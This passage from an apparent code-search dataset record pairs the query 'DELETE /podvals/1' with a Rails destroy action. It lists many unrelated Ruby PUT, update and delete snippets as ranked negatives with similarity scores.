"def put(path, params={}, options={})\n request(:put, api_path(path), params, options)\n end",
"def put(path = '/files/', params = {})\n request :put, path, params\n end",
"def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end",
"def update\n @actuator = Actuator.find(params[:id])\n\n respond_to do |format|\n if @actuator.update_attributes(params[:actuator].each_value(&:strip!))\n format.html { redirect_to(@actuator, :notice => 'Actuator was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @actuator.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @node_ip = args[:node_ip] if args.key?(:node_ip)\n @pod_count = args[:pod_count] if args.key?(:pod_count)\n end",
"def update!(**args)\n @node_ip = args[:node_ip] if args.key?(:node_ip)\n @pod_count = args[:pod_count] if args.key?(:pod_count)\n end",
"def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end",
"def put(path, opts = {})\n request(:put, path, opts).body\n end",
"def put(path, payload)\n req = Net::HTTP::Put.new(path)\n action(req, payload)\n end",
"def update\n connection.put(element_path, to_xml)\n end",
"def update_vpn_status\n # Request parameters\n mac = params[:mac]\n vpn_status_name = params[:vpn_status]\n vpn_sw = params[:vpn_sw]\n ip = params[:ip]\n viewpoint = params[:viewpoint] || \"Unknown\"\n vpn_status = VpnStatus.find_by_name vpn_status_name\n node = Node.find_or_create_by_id mac.to_i(16)\n node.update_vpn_status vpn_status,ip,vpn_sw,viewpoint\n render status: :created, :text => \"\"\n end",
"def update!(**args)\n @deployment = args[:deployment] if args.key?(:deployment)\n @disable_pod_overprovisioning = args[:disable_pod_overprovisioning] if args.key?(:disable_pod_overprovisioning)\n @service = args[:service] if args.key?(:service)\n end",
"def update\n get_credentials\n begin\n response = resource[\"/update/#{app}\"].post(:apikey => @credentials[1], :frequency => options[:frequency])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end",
"def put(path, parameters = {})\n request(:put, path, parameters)\n end",
"def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end",
"def update\n # returning connection.put(element_path(prefix_options), to_xml, self.class.headers) do |response|\n returning connection.put(element_path(prefix_options), to_ssj, self.class.headers) do |response|\n load_attributes_from_response(response)\n end\n end",
"def update(id, params)\n http.put(\"/nfse/#{id}\", { body: params }) do |response|\n respond_with_entity(response)\n end\n end",
"def update(index_name, payload)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = \"application/json\"\n req.body = payload.to_json\n @client.send_http(req, true, ['200'])\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def put(path, body = nil, ctype = 'application/json')\n make_call(mk_conn(path, 'Content-Type': ctype,\n 'Accept': 'application/json'),\n :put, nil, body.to_json)\n end",
"def update\n @pv = Pv.new(pv_params)\n @pv.proyect = @proyect\n\n respond_to do |format|\n if @pv.update(pv_params)\n format.html { redirect_to proyect_pv_path(@proyect,@pv), notice: 'Propuesta de Valor ha sido actualizada.' }\n format.json { render :show, status: :ok, location: @pv }\n else\n format.html { render :edit }\n format.json { render json: @pv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update\n \n begin\n DetailValue.transaction do\n # Increment the instance version\n increment_instance_version\n @resource = update_value(params[:detail_id], \n params[:id], \n {\n 'lock_version' => params[:value][:lock_version],\n 'value' => params[:value][:value] \n })\n \n end\n render :response => :PUT\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end",
"def _update(type, current_name, metadata={})\n type = type.to_s.camelize\n request :update do |soap|\n soap.body = {\n :metadata => {\n :current_name => current_name,\n :metadata => prepare(metadata),\n :attributes! => { :metadata => { 'xsi:type' => \"ins0:#{type}\" } }\n }\n }\n end\n end",
"def update\n @value = Value.find(params[:id])\n\n if @value.update(params[:value])\n head :no_content\n else\n render json: @value.errors, status: :unprocessable_entity\n end\n end",
"def update\n @xpto = Xpto.find(params[:id])\n\n respond_to do |format|\n if @xpto.update_attributes(params[:xpto])\n format.html { redirect_to @xpto, notice: 'Xpto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @xpto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end",
"def patch(operation, path, value)\n response = @client.rest_patch(@data['uri'], 'body' => [{ op: operation, path: path, value: value }])\n @client.response_handler(response)\n end",
"def update_params_yaml\n if File.exist?(\"#{Ufo.root}/.ufo/params.yml\")\n update_params_yaml_existing\n else\n update_params_yaml_new\n end\n end",
"def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n head :ok\n end",
"def update!(**args)\n @namespace = args[:namespace] if args.key?(:namespace)\n @op = args[:op] if args.key?(:op)\n @value_double = args[:value_double] if args.key?(:value_double)\n @value_float = args[:value_float] if args.key?(:value_float)\n @value_int = args[:value_int] if args.key?(:value_int)\n end",
"def update\n @promos = Promos.find(params[:id])\n\n respond_to do |format|\n if @promos.update_attributes(params[:promos])\n flash[:notice] = 'Promos was successfully updated.'\n format.html { redirect_to(@promos) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @promos.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(config=nil)\n @config = config if !config.nil?\n response = send_xml_post_request(@xml_api_config_path, @config)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def put(path, options={})\n request :put, path, options\n end",
"def update_radios_for_array(args = {}) \n put(\"/radios.json/#{args[:arrayId]}\", args)\nend",
"def patch(operation, path, value = nil)\n ensure_client && ensure_uri\n body = [{ 'op' => operation, 'path' => path, 'value' => value }]\n patch_options = { 'If-Match' => @data['eTag'] }\n response = @client.rest_patch(@data['uri'], patch_options.merge('body' => body), @api_version)\n @client.response_handler(response)\n end",
"def put( doc, opts = {} )\n response = http_action :put, doc, opts.merge( :doc => doc )\n doc['_id'], doc['_rev'] = response['id'], response['rev'] if doc.kind_of? Hash\n response\n end",
"def update\n @kpi = Kpi.find(params[:id])\n\n respond_to do |format|\n if @kpi.update_attributes(params[:kpi])\n flash[:notice] = 'Kpi was successfully updated.'\n format.html { redirect_to(@kpi) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @kpi.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(params={})\n self.request(__method__, params)\n end",
"def update\n @ventas_presupuesto = Ventas::Presupuesto.find(params[:id])\n\n respond_to do |format|\n if @ventas_presupuesto.update_attributes(params[:ventas_presupuesto])\n format.html { redirect_to @ventas_presupuesto, notice: 'Presupuesto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ventas_presupuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(id:, url_variables:, body:)\n ensure_service_document\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def update\n @pto = Pto.find(params[:id])\n\n respond_to do |format|\n if @pto.update_attributes(params[:pto])\n format.html { redirect_to(@pto, :notice => 'Pto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def save_to_node\n node.set[:sysctl][:values][@new_resource.name] = @new_resource.value if @new_resource.save == true\nend",
"def update\n @peep = Peep.find(params[:id])\n\n respond_to do |format|\n if @peep.update_attributes(params[:peep])\n format.html { redirect_to(@peep, :notice => 'Peep was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @peep.errors, :status => :unprocessable_entity }\n end\n end\n end"
] | [
"0.6149169",
"0.56566006",
"0.56329364",
"0.5524957",
"0.55061173",
"0.548143",
"0.5459431",
"0.5332811",
"0.531839",
"0.53114873",
"0.5288465",
"0.52776104",
"0.52713555",
"0.52661276",
"0.5242661",
"0.5241596",
"0.523505",
"0.52337563",
"0.52294177",
"0.52294177",
"0.52294177",
"0.5222678",
"0.52176636",
"0.52176636",
"0.52176636",
"0.52176636",
"0.52176636",
"0.52176636",
"0.52176636",
"0.52176636",
"0.5210074",
"0.51960915",
"0.5190381",
"0.5184653",
"0.5182303",
"0.5164963",
"0.51623696",
"0.51516366",
"0.51516366",
"0.51442266",
"0.5139466",
"0.5139466",
"0.513727",
"0.51273054",
"0.51177794",
"0.5115414",
"0.5110795",
"0.5106839",
"0.5080122",
"0.50781876",
"0.507351",
"0.50724155",
"0.50410074",
"0.50351095",
"0.50234807",
"0.50127894",
"0.5003261",
"0.49997836",
"0.49997836",
"0.49902725",
"0.49801815",
"0.4965095",
"0.49561656",
"0.4942522",
"0.4938542",
"0.49368227",
"0.49292946",
"0.49251416",
"0.49241033",
"0.49177477",
"0.49159428",
"0.4909704",
"0.49057138",
"0.4894719",
"0.48927426",
"0.48921734",
"0.48894364",
"0.48827863",
"0.4880037",
"0.48770946",
"0.48748904",
"0.4859755",
"0.48542207",
"0.48521614",
"0.48498556",
"0.4846442",
"0.48418838",
"0.48401704",
"0.48367175",
"0.48338297",
"0.4832904",
"0.48287278",
"0.48244515",
"0.48202017",
"0.4818248",
"0.48174843",
"0.4812205",
"0.48120812",
"0.4811913",
"0.48056692"
] | 0.49423975 | 64 |
DELETE /podvals/1 DELETE /podvals/1.xml | def destroy
@podval = Podval.find(params[:id])
@podval.destroy
respond_to do |format|
format.html { redirect_to(podvals_url) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete(*uris); end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end",
"def delete(path, params = {})\n debug_log \"DELETE #{@host}#{path} params:#{params}\"\n res = connection.delete path, params\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def delete(value)\n end",
"def delete(value)\n end",
"def delete(value)\n find_node(value)&.delete\n end",
"def delete(path, params)\n request(:delete, path, {})\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @prop_value = PropValue.find(params[:id])\n @prop_value.destroy\n\n respond_to do |format|\n format.html { redirect_to(prop_values_url) }\n format.xml { head :ok }\n end\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete(value)\n delete_node(find(value))\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete(slide)\n # ./_rels/presentation.xml.rels\n # Update Relationship ids\n # Insert a new one slideRef\n @doc.edit_xml @doc.presentation.rels.path do |xml|\n # Calucate the next id\n # next_id = xml.xpath('//xmlns:Relationship[@Id]').map{ |n| n['Id'] }.sort.last.succ\n # TODO - Figure out how to make this more MS idiomatic up 9->10 instead of incrementing\n # the character....\n # Insert that into the slide and crakc open the presentation.xml file\n\n target = slide.path.relative_path_from(@doc.presentation.path.dirname)\n relationship = xml.at_xpath(\"/xmlns:Relationships/xmlns:Relationship[@Type='#{Slide::REL_TYPE}' and @Target='#{target}']\")\n # ./presentation.xml\n # Update attr\n # p:notesMasterId\n # Insert attr\n # p:sldId, increment, etc.\n @doc.edit_xml '/ppt/presentation.xml' do |xml|\n xml.at_xpath(\"/p:presentation/p:sldIdLst/p:sldId[@r:id='#{relationship['Id']}']\").remove\n end\n relationship.remove\n end\n\n # Delete slide link and slideNotes link from ./[Content-Types].xml \n @doc.edit_xml @doc.content_types.path do |xml|\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Slide::CONTENT_TYPE}' and @PartName='#{slide.path}']\").remove\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Notes::CONTENT_TYPE}' and @PartName='#{slide.notes.path}']\").remove\n end\n\n # Update ./ppt\n # !!! DESTROY !!!\n # ./slides\n # Delete files\n # ./_rels/notesSlide(\\d+).xml.rels\n @doc.delete slide.notes.rels.path\n # ./notesSlide(\\d+).xml file\n @doc.delete slide.notes.path\n # ./_rels/slide(\\d+).xml.rels\n @doc.delete slide.rels.path\n # ./slide(\\d+).xml file\n @doc.delete slide.path\n # ./notesSlides\n # Delete files\n\n # Hooray! We're done! Ummm, what should we return though? can't be the slide since\n # its destroyed and there's no practical way to keep it around in memory.\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def delete(path)\n make_call(mk_conn(path), :delete)\n end",
"def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end",
"def delete\n request(:delete)\n end",
"def delete(oid)\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def delete(path)\n request(:delete, path)\n end",
"def destroy\n @pdig = Pdig.find(params[:id])\n @pdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(pdigs_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete(*rest) end",
"def delete_all(xpath); end",
"def destroy\n @erratum = Erratum.find(params[:id])\n @erratum.destroy\n\n respond_to do |format|\n format.html { redirect_to(errata_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @periode = Periode.find(params[:id])\n @periode.destroy\n\n respond_to do |format|\n format.html { redirect_to(periodes_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete(path, payload = nil)\n req = Net::HTTP::Delete.new(path)\n action(req, payload)\n end",
"def delete(splat)\n bad_request if splat.empty?\n _delete resolve_uri(splat[0])\n end",
"def destroy\n @taxe_value = Taxe::Value.find(params[:id])\n @taxe_value.destroy\n\n respond_to do |format|\n format.html { redirect_to(taxe_values_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def delete(payload)\n post_like payload, Net::HTTP::Delete.new(@uri.path)\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete\n @options[:connection].delete(\"/namespaces/#{path}\") && true\n end",
"def delete(path, params = {})\n post(path, params.merge(\"_method\" => \"delete\"))\n end",
"def delete(path)\n request(:delete, path)\n end",
"def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete(path, params = {}, request_options = {})\n request(:delete, path, params)\n end",
"def delete(data)\n params = self.params\n data['delete']['parameters'].each { |p|\n params.delete(p) if params.has_key?(p)\n }\n write(params)\n data['delete']['parameters']\n end",
"def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Delete.new(uri)\n run(uri, req)\n end",
"def delete(uri, parameters)\n response = Unirest.delete uri, parameters: parameters\n response.body\n end",
"def destroy\n @prd_etc = PrdEtc.find(params[:id])\n @prd_etc.destroy\n\n respond_to do |format|\n format.html { redirect_to(prd_etcs_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n @client.delete_document(@path)\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def delete(path = '/files/', params = {})\n request :delete, path, params\n end",
"def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end",
"def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end",
"def delete\n end",
"def delete_meeting(meeting_key, operation_name = \"Delete Meeting\")\n value = meeting_key\n xml_value = xml_meetings(@configuration, operation_name,value)\n res = Net::HTTP.start(@configuration[:host]){ |http|\n http.post(\"/WBXService/XMLService\",xml_value)\n }\n xml_data = res.body\n response = Hash.new\n doc = REXML::Document.new xml_data\n header = doc.root.elements[\"serv:header\"].elements[\"serv:response\"]\n response= {:result => header.elements[\"serv:result\"].text}\n return response\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete(path)\n root.delete(path)\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def destroy\n @promos = Promos.find(params[:id])\n @promos.destroy\n\n respond_to do |format|\n format.html { redirect_to(promos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tdoc = Tdoc.find(params[:id])\n @tdoc.destroy\n\n respond_to do |format|\n format.html { redirect_to(tdocs_url) }\n format.xml { head :ok }\n end\n end",
"def deletef\n url = prefix + \"deletef\" + id_param\n return response(url)\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def destroy\n @user_testcase_xref = UserTestcaseXref.find(params[:id])\n @user_testcase_xref.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_testcase_xrefs_url) }\n format.xml { head :ok }\n end\n end",
"def delete\r\n \tProductPackageNode.delete params[:node_ids]\r\n render :nothing => true\r\n end",
"def del\n delete\n end",
"def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end",
"def delete(path, params={}, options={})\n request(:delete, api_path(path), params, options)\n end",
"def deleteEntityDocument( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/document\",params)\n end",
"def delete(id)\r\n connection.delete(\"/#{@doctype}[@ino:id=#{id}]\")\r\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend"
] | [
"0.64152956",
"0.6399643",
"0.6387767",
"0.6370322",
"0.6267758",
"0.6196657",
"0.6159628",
"0.613705",
"0.61281145",
"0.61144996",
"0.60902584",
"0.6066382",
"0.6052238",
"0.6052238",
"0.60420334",
"0.6035436",
"0.6028942",
"0.60017455",
"0.59953773",
"0.5993745",
"0.5993745",
"0.5993745",
"0.5993745",
"0.5993745",
"0.5993745",
"0.5993745",
"0.5982569",
"0.59658897",
"0.5965781",
"0.5940262",
"0.5934478",
"0.5934478",
"0.5934478",
"0.59340674",
"0.5931676",
"0.59224385",
"0.59186286",
"0.5917877",
"0.5913159",
"0.5904359",
"0.58934295",
"0.58850294",
"0.5866073",
"0.58657247",
"0.5863256",
"0.5863256",
"0.58597857",
"0.5858411",
"0.58504534",
"0.5845466",
"0.58454114",
"0.5839454",
"0.5839454",
"0.58188486",
"0.5812847",
"0.57928956",
"0.5785708",
"0.5782117",
"0.5778062",
"0.5772857",
"0.5757331",
"0.57547146",
"0.575241",
"0.57468086",
"0.5743725",
"0.5743725",
"0.5743725",
"0.5743725",
"0.57432127",
"0.57424176",
"0.57366365",
"0.57350856",
"0.5727188",
"0.5714102",
"0.5712668",
"0.5708942",
"0.5703274",
"0.5702532",
"0.5694427",
"0.56942624",
"0.5692164",
"0.5685912",
"0.56834346",
"0.568216",
"0.568216",
"0.5682083",
"0.5674053",
"0.5665114",
"0.56644404",
"0.56618816",
"0.56609905",
"0.56598645",
"0.5655674",
"0.5652196",
"0.5647914",
"0.5645744",
"0.5641916",
"0.5640117",
"0.56334174",
"0.5624934"
] | 0.7289542 | 0 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.